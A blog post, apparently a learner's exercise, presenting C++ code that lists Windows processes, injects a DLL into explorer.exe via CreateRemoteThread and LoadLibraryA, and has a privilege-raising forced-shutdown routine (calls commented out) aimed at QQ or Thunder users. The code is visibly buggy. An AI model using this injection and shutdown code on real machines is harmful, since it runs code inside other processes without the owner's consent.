`
317422638
  • 浏览: 14124 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

学习2

    博客分类:
  • C++
c++ 
阅读更多
// m1.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include"stdio.h"
#include <windows.h>
#include <tlhelp32.h>
#include"tlhelp32.h"

void shutdown()
{
// 以下为提权函数,使其用关机权限,
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
printf("OpenProcessToken调用失败");
}

LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,false,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);

//下面为关机函数
if(!ExitWindowsEx(EWX_SHUTDOWN ,0))
{
printf("关机失败");
}
}

int main(int argc, char* argv[])
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf(" CreateToolhelp32Snapshot调用失败!");
return -1;

}

//string lpName = "EXPLORER.EXE" ;    // 设定需要监视的进程名
PROCESSENTRY32 pe;

pe.dwSize = sizeof(pe);


BOOL bMore = ::Process32First(hProcessSnap, &pe32);
while(bMore)
{

printf(" 进程名称:%s \n", pe32.szExeFile);

if(stricmp("EXPLORER.exe",pe32.szExeFile)==0) 
{
//取得宿主进程(EXPLORER.EXE)的句柄

HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pe.th32ProcessID);

//取得目标DLL的当前路径(路径可自由设置)

char szInspectDllPath[128] ;    
GetCurrentDirectory ( 128, szInspectDllPath ) ;      
strcat (szInspectDllPath, "QQLandDlg.dll >\\debug\\InspectQQLandDlg.dll" ) ;

printf(" 地址: %s \n", szInspectDllPath);
//申请存放文件名的空间

LPVOID pszInspectDllRemote ;
int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,  NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;


//把dll文件名写入申请的空间
WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

//获取动态链接库函数地址
HMODULE hModule ;
hModule = GetModuleHandle ( "kernel32.DLL" ) ;
LPTHREAD_START_ROUTINE fnStartAddr ;
fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,"LoadLibraryA" ) ;

//////////////////
//创建远程线程
HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
if( hProcessSnap != NULL ){
CloseHandle ( hProcessSnap ) ;//关闭进程快照
CloseHandle ( hRemoteProcess ) ;
printf(" 来到这里了:  \n");
break ;

}
//////////////////




}


if(stricmp("QQ.exe",pe32.szExeFile)==0)
{
printf("QQ 运行中,准备关机");
// shutdown();
break;
}

if(stricmp("Thunder.exe",pe32.szExeFile)==0)
{
printf("Thunder 运行中,准备关机");
// shutdown();
break;
}


bMore = ::Process32Next(hProcessSnap, &pe32);
}

::CloseHandle(hProcessSnap);
printf("QQ 不在运行");
return 0;
}
分享到:
评论

相关推荐

    LINUX学习学习2LINUX学习学习2

    LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2LINUX学习学习2

    深入,NET指导学习2

    深入,NET,指导学习2,S2 深入,NET,指导学习2,S2 深入,NET,指导学习2,S2 深入,NET,指导学习2,S2 深入,NET,指导学习2,S2 深入,NET,指导学习2,S2 深入,NET,指导学习2,S2

    DB2学习中文教程从入门到精通

    DB2学习中文教程旨在帮助读者从基础的数据库概念开始,逐步学习DB2数据库的安装、配置、操作和管理,最终达到精通的程度。 DB2 9.7是DB2数据库的一个版本,该版本支持的平台包括Linux、UNIX和Windows等。DB2 9.7...

    EPLAN-3D布线学习2

    机器学习

    linux 基础学习2

    linux 基础学习,包含linux环境的学习,linux命令的学习。

    TensorFlow2深度学习实战(共7章)第2章 TensorFlow 2快速入门.pdf

    TensorFlow2深度学习实战(共7章)第2章 TensorFlow 2快速入门.pdfTensorFlow2深度学习实战(共7章)第2章 TensorFlow 2快速入门.pdfTensorFlow2深度学习实战(共7章)第2章 TensorFlow 2快速入门.pdfTensorFlow2深度学习...

    Reinforcement Learning 2nd(Richard_S._Sutton).pdf

    《强化学习(第2版)》英文版,作为强化学习思想的深度解剖之作,被业内公认为是一本强化学习基础理论的经典著作。它从强化学习的基本思想出发,深入浅出又严谨细致地介绍了马尔可夫决策过程、蒙特卡洛方法、时序差...

    人工智能机器学习2.rar

    sklearn机器学习

    ssh2 学习学习

    ssh2 学习学习

    ROS2官网教程学习笔记理解ROS2 actions动作

    ROS2官网教程学习笔记理解ROS2 actions动作背景准备条件学习内容1. 启动节点2. 使用 actions动作3. ros2 node info4. ros2 action list4.1 ros2 action list -t5. ros2 action info6. ros2 interface show7. ros2 ...

    深度学习word2vec学习笔记.docx

    深度学习 word2vec 学习笔记 深度学习 word2vec 笔记之基础篇主要讲解了深度学习和 word2vec 的基础知识。深度学习是机器学习领域的巨星,Google 公司无疑是旗举得最高的,口号喊得最响亮的那一个。word2vec 是 ...

    struts2经典学习资料大全2(3-2)

    struts2经典学习资料大全2,很好很经典(3-2)

    2,STM32 USB 学习资料.zip

    2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip2,STM32 USB 学习资料.zip...

    爱学习广东学习网专用浏览器

    2、 进入学习中心后,打开没有学习的课程,可以一键学习完,不包含考试,不必天天挂网 3、 根据你的网速你所有的课程能在10分钟内学完,神吧,试试吧 4、 本浏览器用.Net 2.0开发,需要2.0的运行时

    《强化学习》英文版(第2版)

    Sutton老爷子经典之作,《强化学习》英文版(第2版)。 作为强化学习领域的经典导论性教材,第2版《强化学习》从强化学习基本思想出发,深入浅出又严谨细致地介绍了马尔可夫决策过程、蒙特卡洛方法、时序差分方法、...

    2018年传智播客黑马训练营JAVAEE49期培训视频教程

    11-Maven(学习2天) 12-SSH企业案例2_ERP_项目整合(学习15天) 13-Mybatis(学习2天) 14-SpringMVC(学习2天) 15-SSM企业案例-客户管理系统(学习1天) 16-SSM分布式案例-互联网商城(学习14天) 17品优购电商系统开发

    Processing编程学习指南(第2版)

    Processing编程学习指南(第2版) Processing编程学习指南(第2版)

    强化学习理论部分.pdf

    2. 免模型算法进一步划分为基于价值(Value-Based)和基于策略(Policy-Based)两大类。基于价值的算法专注于寻找最优的价值函数,以此来指导动作的选择;而基于策略的算法则是直接学习最优策略函数,即直接对动作的...

    Halcon深度学习-从零开始学习,学习笔记(都是细节)-分类完整版.rar

    2. 创建模型:选择合适的网络架构,如卷积神经网络(CNN),并在Halcon环境中设置模型参数。 3. 训练模型:使用训练数据对模型进行迭代优化,调整权重以最小化预测误差。 4. 验证与调整:在验证数据集上测试模型性能...

    再励学习面试真题

    2. 强化学习如何解决问题 强化学习可以解决序列决策问题,例如推荐系统、游戏 AI、机器人控制等领域。强化学习可以通过马尔科夫决策过程来解决问题,马尔科夫决策过程是强化学习的核心概念。 3. 强化学习的损失...

Global site tag (gtag.js) - Google Analytics